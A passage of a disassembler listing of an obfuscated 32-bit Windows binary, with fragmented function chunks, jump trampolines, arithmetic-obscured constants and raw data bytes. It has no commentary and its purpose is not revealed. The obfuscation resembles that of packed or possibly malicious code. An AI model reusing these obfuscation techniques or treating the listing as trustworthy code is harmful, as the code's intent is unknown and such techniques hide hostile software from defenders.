mov [edi], eax xchg ebp, [esp-8+arg_4] jmp loc_10028B93 sub_10028A66 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10028A75 proc near ; DATA XREF: sub_10029789-C03o mov ebp, esp push offset loc_10026D90 jmp nullsub_181 sub_10028A75 endp ; --------------------------------------------------------------------------- align 2 dw 8E0Fh dd 11Eh, 5A241487h, 0FFE389E8h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10028A92: ; CODE XREF: sub_10028DD4-D51j jmp loc_100278EA ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_10028CB7 loc_10028A98: ; CODE XREF: sub_10028CB7+10j xchg esi, [esp+0] mov ebx, esi pop esi push esi pushf push 782EB398h pop esi jmp loc_100291A2 ; END OF FUNCTION CHUNK FOR sub_10028CB7 ; --------------------------------------------------------------------------- align 4 dd 12C28100h, 0E4A924AFh, 47E92414h, 0E8FFFFEAh, 0C1Bh dd 0FFF8B8E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_10028AC5 proc near ; CODE XREF: sub_1002883B:loc_10028F8Fp ; FUNCTION CHUNK AT 10026FD0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027A8C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002805C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028089 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10028341 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 100295C5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10029717 SIZE 0000000A BYTES xchg edx, [esp+0] pop edx mov edx, [eax] or edx, edx jz loc_10028089 push offset loc_10028789 jmp loc_100295C5 sub_10028AC5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10028ADD: ; CODE XREF: _3a14gzkz:loc_10029378j call sub_1002964F ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027810 loc_10028AE4: ; CODE XREF: sub_10027810+1D3j jmp loc_10029843 ; END OF FUNCTION CHUNK FOR sub_10027810 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002735F loc_10028AEB: ; CODE XREF: sub_1002735F+2Aj mov ecx, offset loc_10027C30 jmp loc_10028D2B ; END OF FUNCTION CHUNK FOR sub_1002735F ; --------------------------------------------------------------------------- loc_10028AF5: ; CODE XREF: _3a14gzkz:100286C2j cmp ecx, 6A1F788Ch jmp loc_100274E4 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_10028B02: ; CODE XREF: _3a14gzkz:100274FCj jz loc_100275F1 jmp near ptr dword_100272CC+0Dh ; --------------------------------------------------------------------------- align 2 word_10028B0E dw 1C7Eh ; DATA XREF: sub_100275B2:loc_1002903Fo dd 0ED90E824h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029160 loc_10028B16: ; CODE XREF: sub_10029160:loc_10028B59j rol edi, 1Dh sub edi, 7DF1E0CFh call loc_10027474 add [edi], cl mov [esi+57FFFFF4h], dl mov edi, eax xchg edi, [esp-4+arg_0] mov eax, ebp jmp loc_10026DE1 ; END OF FUNCTION CHUNK FOR sub_10029160 ; --------------------------------------------------------------------------- loc_10028B38: ; CODE XREF: _3a14gzkz:10027242j push 10027062h jmp loc_10028975 ; --------------------------------------------------------------------------- align 4 dword_10028B44 dd 8AFC458Bh, 0E543E800h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_10028B4E: ; CODE XREF: _3a14gzkz:10028172j push 3D674187h push ecx call sub_100275B2 ; START OF FUNCTION CHUNK FOR sub_10029160 loc_10028B59: ; CODE XREF: sub_10029160-2048j jmp loc_10028B16 ; END OF FUNCTION CHUNK FOR sub_10029160 ; --------------------------------------------------------------------------- align 10h locret_10028B60: ; CODE XREF: _3a14gzkz:100294E9j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_10028B63 proc near ; DATA XREF: _3a14gzkz:100294E4o ; FUNCTION CHUNK AT 10027BA8 SIZE 00000005 BYTES push ebx push 900DCB8Ah pop ebx loc_10028B6A: ; CODE XREF: _3a14gzkz:10027DECj rol ebx, 0Ah or ebx, 0B2E8911Dh rol ebx, 1Ch add ebx, 3483A85Ah jmp loc_10027BA8 sub_10028B63 endp ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_10029789 loc_10028B82: ; CODE XREF: sub_10029789:loc_1002706Fj pop ebp xchg eax, [esp-4+arg_0] push offset sub_10028A75 jmp nullsub_191 ; END OF FUNCTION CHUNK FOR sub_10029789 ; --------------------------------------------------------------------------- db 0, 0C3h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028A66 loc_10028B93: ; CODE XREF: sub_10028A66+Aj jmp loc_10027347 ; END OF FUNCTION CHUNK FOR sub_10028A66 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10028B99: ; CODE XREF: sub_1002781D+10j jmp loc_10026E77 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- align 10h dd 878B06C6h, 0F58B242Ch, 0FEDAE85Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100284AA loc_10028BAE: ; CODE XREF: sub_100284AA+Fj jmp loc_10028F30 ; END OF FUNCTION CHUNK FOR sub_100284AA ; --------------------------------------------------------------------------- db 0C6h dd 685A3102h, 0A2E2EF56h, 0D1CE815Eh, 0E96CEB35h, 0FFFFE590h dd 0E5810000h, 3C547221h, 5A241487h, 6F05BB53h, 2CE91002h db 0ECh, 2 dup(0FFh) byte_10028BDF db 68h ; DATA XREF: _3a14gzkz:10027BF8o dd 0DA0BD8E7h, 0FBE2815Ah, 81441921h, 9938CAh, 22F2813Ch dd 81B613ABh, 0E8381BC2h, 7F586845h, 36E91002h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10028C07: ; CODE XREF: sub_1002781D:loc_100277C3j call sub_1002735F locret_10028C0C: ; CODE XREF: sub_1002812C:loc_10027076j retn ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- db 0E9h, 7Fh, 0FFh dd 0FFFFh ; --------------------------------------------------------------------------- loc_10028C14: ; DATA XREF: sub_10027CEA+6Eo push esi mov esi, 10027015h jmp loc_10029603 ; --------------------------------------------------------------------------- align 10h dd 0F4D28F0Fh, 0C9C1FFFFh, 0FE97E91Ch db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_10028C2F: ; CODE XREF: _3a14gzkz:loc_1002801Bj xchg ecx, [esp] pop ecx mov byte ptr [edx], 0Fh pop edx jmp loc_10027CE3 ; =============== S U B R O U T I N E ======================================= sub_10028C3C proc near ; CODE XREF: _3a14gzkz:100290FBp xchg edi, [esp+0] pop edi push eax daa call sub_100286F4 loc_10028C47: ; CODE XREF: _3a14gzkz:1002872Cj jmp sub_10028DD4 sub_10028C3C endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10028C4D: ; CODE XREF: sub_10028DD4:loc_10027E41j mov byte ptr [ecx], 9Dh xchg eax, [esp+0] mov ecx, eax pop eax and ebx, 59AEB919h call sub_10028E0A loc_10028C61: ; CODE XREF: _3a14gzkz:10026EA6j jmp nullsub_186 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_10028C66: ; CODE XREF: sub_100279AD+1E2j pop esi sub esi, 0AF749AC0h js loc_100296A4 add cl, ch ; CODE XREF: _3a14gzkz:10028CB0j pop esp idiv bh inc dword ptr [eax] loc_10028C7A: ; CODE XREF: _3a14gzkz:loc_100294D5j ja loc_1002742C jmp loc_1002700D ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10028C85: ; CODE XREF: sub_10028DD4:loc_100293BEj push edx mov edx, ecx xchg edx, [esp+0] push ebx jmp loc_10028450 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- db 81h, 0CBh, 69h dd 817E347Bh, 0C69E35FBh, 0EA6EE973h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_10028CA2: ; CODE XREF: _3a14gzkz:loc_100282D7j add eax, 0C5DF9F8Ah mov eax, [eax] loc_10028CAA: ; DATA XREF: sub_10028DD4-4DCo popf push offset word_100282DE jmp near ptr loc_10028C73+1 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_10028CB7 proc near ; CODE XREF: _3a14gzkz:10027EB8j ; FUNCTION CHUNK AT 10028A98 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100291A2 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 10029364 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov byte ptr [ecx], 3 pop ecx xor ebx, 0D9080296h add eax, ebx jmp loc_10028A98 sub_10028CB7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 880F0000h, 576h ; --------------------------------------------------------------------------- loc_10028CD4: ; CODE XREF: _3a14gzkz:10027E0Ap xchg ebx, [esp] pop ebx call ds:dword_1001E0C0 ; ExitProcess call near ptr dword_10027014+34h ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_10028CE5: ; CODE XREF: _3a14gzkz:10027DB3j jmp near ptr dword_100275C0+10h ; --------------------------------------------------------------------------- push esi mov esi, 10026EBAh jmp loc_10026ED8 ; --------------------------------------------------------------------------- loc_10028CF5: ; CODE XREF: _3a14gzkz:10029180j push offset byte_10028665 jmp locret_1002865E ; --------------------------------------------------------------------------- align 10h push ecx push 85E063C3h pop ecx sub ecx, 0C8A49BC8h add ecx, 0F883EDFEh and ecx, 99FE1E0Bh sub ecx, 11E3723h jmp loc_10027354 ; --------------------------------------------------------------------------- loc_10028D24: ; CODE XREF: _3a14gzkz:10026CE8j call sub_10029475 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002735F loc_10028D2B: ; CODE XREF: sub_1002735F+1791j jmp loc_1002776F ; END OF FUNCTION CHUNK FOR sub_1002735F ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100289FE loc_10028D31: ; CODE XREF: sub_100289FE-837j jmp loc_10027054 ; END OF FUNCTION CHUNK FOR sub_100289FE ; --------------------------------------------------------------------------- dw 0F00h dd 91683h, 0F735E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10028D42: ; CODE XREF: sub_10028ED3-2003j add eax, ebx xchg eax, [esp-4+arg_0] mov ebx, eax pop eax push eax pushf push offset byte_10029585 jmp nullsub_185 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- dw 0F700h ; --------------------------------------------------------------------------- retn 3DB5h ; --------------------------------------------------------------------------- db 0E6h dd 0E59EE943h, 0E999FFFFh, 0FFFFF7F9h, 68F50300h, 100271B8h dd 0FFEBE5E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029627 loc_10028D77: ; CODE XREF: sub_10029627:loc_10029538j add esi, 57F50BA8h mov esi, [esi] mov ecx, ds:dword_10027B4C mov edx, 0F1F2F4F8h push offset loc_10029222 jmp locret_10029848 ; END OF FUNCTION CHUNK FOR sub_10029627 ; --------------------------------------------------------------------------- dd 17890000h, 5A241487h, 0EBE95256h, 0FFFFF5h, 0FFE6B8E8h dd 0ECC1F7FFh, 0E9C8C705h, 6BBh, 0C870000h, 59E98B24h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_10028DBF: ; CODE XREF: _3a14gzkz:100287EFj jmp near ptr dword_100275C0+1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_10028DC6: ; CODE XREF: sub_100279AD-57Bj jmp loc_100283AF ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- align 2 loc_10028DCE: ; CODE XREF: _3a14gzkz:1002961Ej jmp locret_10029834 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10028DD4 proc near ; CODE XREF: sub_100273B0+694j ; sub_10028C3C:loc_10028C47j ; FUNCTION CHUNK AT 10026CAB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100278EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027C15 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10027E41 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028082 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10028450 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 100288F7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10028A92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028C4D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10028C85 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 100292F8 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1002932F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100293BE SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_100293BE sub_10028DD4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029475 loc_10028DDC: ; CODE XREF: sub_10029475:loc_10027AFBj jge loc_10028E56 loc_10028DE2: ; CODE XREF: sub_10029475-60Fj jmp loc_100280EC ; END OF FUNCTION CHUNK FOR sub_10029475 ; --------------------------------------------------------------------------- xchg esi, [ecx] jmp loc_1002941B ; --------------------------------------------------------------------------- jmp loc_10028FEF ; --------------------------------------------------------------------------- align 4 xchg esi, [esp] mov ecx, esi pop esi push 10028DB6h jmp loc_1002771B ; --------------------------------------------------------------------------- dd 0F52D8A0Fh db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_10028E0A proc near ; CODE XREF: sub_10028DD4-178p ; FUNCTION CHUNK AT 1002887D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002910B SIZE 0000000A BYTES xchg edi, [esp+0] xchg ebp, [esp+0] mov edi, ebp pop ebp add ebx, 75EF6232h jmp loc_1002910B sub_10028E0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 6800h dd 6F4F1C94h, 2790468h, 0FDDFE910h, 8100FFFFh, 7F2D9C1h dd 9CE89DE7h, 0FFFFECh, 0E281E933h, 0F566197Eh, 0FFF307E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_10028E4A: ; CODE XREF: _3a14gzkz:10029424j jnb sub_10027275 or ecx, 0A252D1DEh ; START OF FUNCTION CHUNK FOR sub_10029475 loc_10028E56: ; CODE XREF: sub_10029475:loc_10028DDCj xor esi, 0BEFE5EEFh xchg esi, [esp+0] loc_10028E5F: ; DATA XREF: _3a14gzkz:100294FAo sub ds:dword_1001E0C0, edx push eax jmp loc_10028DE2 ; END OF FUNCTION CHUNK FOR sub_10029475 ; --------------------------------------------------------------------------- db 0Fh dd 66A85h, 0EB72E900h, 0FFFFh, 5E0306C6h, 6804C083h, 10028FE9h dd 0FFE142E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- locret_10028E8B: ; CODE XREF: _3a14gzkz:loc_1002914Bj retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_10028E8D: ; CODE XREF: _3a14gzkz:10027769j jmp loc_10028723 ; --------------------------------------------------------------------------- align 4 dd 5F9D07C6h, 0BC18F181h, 5BE8B706h, 0FFFFFFBh, 3558Ch dd 2F8C0F00h, 0E9FFFFF8h, 1Fh db 0 ; =============== S U B R O U T I N E ======================================= sub_10028EB5 proc near ; CODE XREF: _3a14gzkz:10026F75p ; _3a14gzkz:100289D9j ; FUNCTION CHUNK AT 100278D8 SIZE 00000012 BYTES xchg edi, [esp+0] pop edi call nullsub_215 push 1D447EEBh pop eax xor eax, 6F228EF7h rol eax, 19h jmp loc_100278D8 sub_10028EB5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_10028ED3 proc near ; CODE XREF: sub_1002883B-12A4p var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10026EC4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10027845 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10027C39 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002804B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10028189 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10028D42 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10029187 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10029320 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100293B7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002982E SIZE 00000005 BYTES xchg eax, [esp+4+var_4] pop eax or edx, edx jz loc_10028089 jmp loc_100293B7 sub_10028ED3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0A6E88100h, 0E936D842h, 0FFFFE079h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027AC8 loc_10028EF1: ; CODE XREF: sub_10027AC8+7j jmp near ptr loc_10027483+1 ; END OF FUNCTION CHUNK FOR sub_10027AC8 ; --------------------------------------------------------------------------- align 4 or edi, eax ; =============== S U B R O U T I N E ======================================= sub_10028EFA proc near ; CODE XREF: sub_1002883B-20Ap ; FUNCTION CHUNK AT 100285E1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100293FD SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov edx, [eax] jmp loc_100293FD sub_10028EFA endp ; sp-analysis failed ; --------------------------------------------------------------------------- adc esi, 6152EA74h jmp loc_10029282 ; --------------------------------------------------------------------------- dword_10028F10 dd 56243C87h, 290CBBEh, 0F282E910h, 0FFFFh, 0DF308E0Fh ; DATA XREF: _3a14gzkz:1002878Co dd 12BDFFFFh, 0E9AFE77Fh, 569h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100284AA loc_10028F30: ; CODE XREF: sub_100284AA:loc_10028BAEj push offset byte_10029341 jmp nullsub_227 ; END OF FUNCTION CHUNK FOR sub_100284AA ; --------------------------------------------------------------------------- loc_10028F3A: ; CODE XREF: _3a14gzkz:10029446j or ecx, edx xor ebx, 0BCFE3F1Bh loc_10028F42: ; CODE XREF: _3a14gzkz:10029437j rol eax, 1Eh push edi mov edi, 10028119h jmp loc_10028036 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_10028F51: ; CODE XREF: _3a14gzkz:10027EADj mov byte ptr [edi], 0FCh xchg ebx, [esp] mov edi, ebx pop ebx push edx mov edx, eax xchg edx, [esp] mov eax, esi jmp loc_10027E3A ; --------------------------------------------------------------------------- align 4 dd 95E99D00h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_10028F6F: ; CODE XREF: _3a14gzkz:10027AB2j pop ecx and ecx, 52FFDCB7h xor ecx, 0E291D931h rol ecx, 13h xor ecx, 8817D6D8h add eax, ecx jmp loc_10027D21 ; --------------------------------------------------------------------------- db 2 dup(0) byte_10028F8E db 0A2h ; CODE XREF: _3a14gzkz:loc_10027221j ; sub_100288C7+Dj ; DATA XREF: ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002883B loc_10028F8F: ; CODE XREF: sub_1002883B:loc_1002862Bj ; sub_1002883B+Aj call sub_10028AC5 add [edi+505F243Ch], al push 1E2CC1h pop eax rol eax, 18h or eax, 0C612730Dh xor eax, 0A6ED6E9Ah jmp loc_1002935B ; END OF FUNCTION CHUNK FOR sub_1002883B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_10028FB6: ; CODE XREF: _3a14gzkz:100286B1j retn ; --------------------------------------------------------------------------- align 4 dword_10028FB8 dd 5B8B03C6h, 0FFF533E8h, 0C7C100FFh, 0AF685616h, 5EA89E99h ; DATA XREF: _3a14gzkz:loc_100286ACo dd 0D261C681h, 0E68174BAh, 51972E97h, 0E906C6C1h, 2D8h dd 0E9078900h, 0FFFFEF0Ch, 0DF685200h db 0ACh, 0C2h, 89h ; --------------------------------------------------------------------------- loc_10028FEF: ; CODE XREF: _3a14gzkz:10028DEEj pop edx and edx, 96090E56h or edx, 339373B0h add edx, 5C6EFC27h xchg edx, [esp] jmp loc_10027FA2 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp locret_10027138 ; --------------------------------------------------------------------------- align 2 xchg ebx, [esp] pop ebx add eax, 0B7FFFB6Fh xchg eax, [esp] enter 0FFFFC015h, 0E0h add [eax], edx jmp loc_10028948 ; --------------------------------------------------------------------------- align 4 loc_1002902C: ; CODE XREF: _3a14gzkz:10027BADj push offset loc_10026FA8 jmp loc_10027CCC ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_10029039: ; CODE XREF: _3a14gzkz:100285DCj jmp loc_100292DF ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100275B2 loc_1002903F: ; CODE XREF: sub_100275B2+202Fj mov ecx, offset word_10028B0E jmp loc_10028601 ; END OF FUNCTION CHUNK FOR sub_100275B2 ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 0B4h dd 0FFFFFDCh, 0FFE6EB83h db 0FFh ; --------------------------------------------------------------------------- loc_10029055: ; CODE XREF: _3a14gzkz:loc_100289DFp call sub_10029299 add [eax-6Bh], ch jnp short loc_10029061 adc cl, ch loc_10029061: ; CODE XREF: _3a14gzkz:1002905Dj sar edi, 1 ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_10029066: ; CODE XREF: _3a14gzkz:10028599j call sub_100276FC ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_1002906D: ; CODE XREF: _3a14gzkz:10027520j jmp loc_10027C93 ; --------------------------------------------------------------------------- dw 0E900h dd 0FFFFEB35h, 25E8008Bh, 0E9FFFFE4h, 657h, 21E840Fh, 8B510000h dd 240C87CBh, 0FFF0DDE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_10029097: ; CODE XREF: _3a14gzkz:100278FEj mov [ecx], edi push offset loc_10028071 jmp loc_10028092 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_100275B2 loc_100290A4: ; CODE XREF: sub_100275B2+9j pop ecx add ecx, 0BDC70A0Dh loc_100290AB: ; CODE XREF: _3a14gzkz:100275ACj sub ecx, 4DD1FC94h rol ecx, 1Dh add ecx, 0B61CED4Fh jmp loc_10028057 ; END OF FUNCTION CHUNK FOR sub_100275B2 ; --------------------------------------------------------------------------- db 8Bh dd 0C6C15BF3h, 8BC68115h, 367CD99h, 0CFE95EC6h, 0FFFFEAh dd 9CF58100h, 0E986E99Ah, 0FFFFE38Eh, 0C6810000h, 0C8C60EF5h dd 0FFE9E9E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_100290EF: ; CODE XREF: _3a14gzkz:100297A5j jbe loc_1002860D loc_100290F5: ; CODE XREF: _3a14gzkz:loc_10027F8Aj xor eax, 214D9B0h call sub_10028C3C add cl, ch ; CODE XREF: sub_10029499+9j cmpsd stc ; --------------------------------------------------------------------------- dd 0B5E9FFFFh db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028E0A loc_1002910B: ; CODE XREF: sub_10028E0A+Fj push offset loc_100272BD jmp loc_1002887D ; END OF FUNCTION CHUNK FOR sub_10028E0A ; --------------------------------------------------------------------------- align 2 locret_10029116: ; CODE XREF: _3a14gzkz:loc_10029811j retn ; --------------------------------------------------------------------------- align 4 dword_10029118 dd 34FBC381h, 4E8A6AFh, 0FFFFFE2h, 0FFEF8780h, 0F0CC68FFh ; DATA XREF: sub_1002812C-1332o dd 9E988C8h db 0FBh, 2 dup(0FFh) byte_10029133 db 68h ; DATA XREF: sub_100284E2+8o dd 6DCF8560h, 13C7C15Fh, 0D93C781h, 0B8E9769Ch, 0FFFFDDh db 0, 0C3h, 0 ; --------------------------------------------------------------------------- loc_1002914B: ; CODE XREF: _3a14gzkz:100273C5j jmp locret_10028E8B ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028A66 loc_10029151: ; CODE XREF: sub_10028A66-1717j jmp nullsub_183 ; END OF FUNCTION CHUNK FOR sub_10028A66 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002915A: ; CODE XREF: _3a14gzkz:10027201j jmp loc_1002937D ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10029160 proc near ; DATA XREF: sub_10028DD4-2122o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10026CED SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10026DE1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002710E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1002719E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10028B16 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 10028B59 SIZE 00000005 BYTES push ebx mov ebx, offset byte_10028F8E jmp loc_1002710E sub_10029160 endp ; sp-analysis failed ; --------------------------------------------------------------------------- rol eax, 10h add eax, 137A8511h or eax, 4DB23ABDh add eax, 92481522h jmp loc_10028CF5 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10029187: ; CODE XREF: sub_10028ED3+453j or ecx, ebp jmp loc_10027845 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_1002918F proc near ; CODE XREF: _3a14gzkz:10028421p ; _3a14gzkz:10029727j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10028942 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg esi, [esp-4+arg_0] mov ecx, esi xchg edx, [esp-4+arg_0] xor esi, ebx jmp loc_10028942 sub_1002918F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028CB7 loc_100291A2: ; CODE XREF: sub_10028CB7-211j xor esi, 9F73EB06h add esi, 93AC3686h xor esi, 0DF7D823Ah or esi, 459E6D03h push 10026D32h jmp loc_10029364 ; END OF FUNCTION CHUNK FOR sub_10028CB7 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_100291C6: ; CODE XREF: _3a14gzkz:loc_1002771Bj retn ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_100291C9: ; CODE XREF: _3a14gzkz:100279CAj jnz loc_1002723C ; START OF FUNCTION CHUNK FOR sub_10029475 loc_100291CF: ; CODE XREF: sub_10029475-1384j jmp nullsub_212 ; END OF FUNCTION CHUNK FOR sub_10029475 ; --------------------------------------------------------------------------- dd 0F2810000h, 0A42F901Dh, 10FE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027C41 loc_100291E1: ; CODE XREF: sub_10027C41+Fj rol edi, 14h add edi, 0D0F4F479h loc_100291EA: ; DATA XREF: _3a14gzkz:100276A5o outsd cmp al, 24h jmp loc_10027502 ; END OF FUNCTION CHUNK FOR sub_10027C41 ; --------------------------------------------------------------------------- dw 6800h dd offset loc_10026F91 dd 0FFEAC6E9h, 5D6800FFh, 0E924AED6h, 0FFFFE58Ch ; --------------------------------------------------------------------------- loc_10029208: ; CODE XREF: _3a14gzkz:10028324j jnz loc_100277D4 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_1002920F: ; CODE XREF: _3a14gzkz:10029382j jmp locret_10028219 ; --------------------------------------------------------------------------- dd 0C1F70000h, 506E0F41h, 546E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_10029222: ; DATA XREF: sub_10029627-89Do xor eax, eax loc_10029224: ; DATA XREF: _3a14gzkz:loc_10027EA8o cld ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10029225: ; CODE XREF: _3a14gzkz:1002754Bj ; sub_1002812C+7j js loc_10028A5A jb loc_100287D4 push eax jmp loc_1002877C ; END OF FUNCTION CHUNK FOR 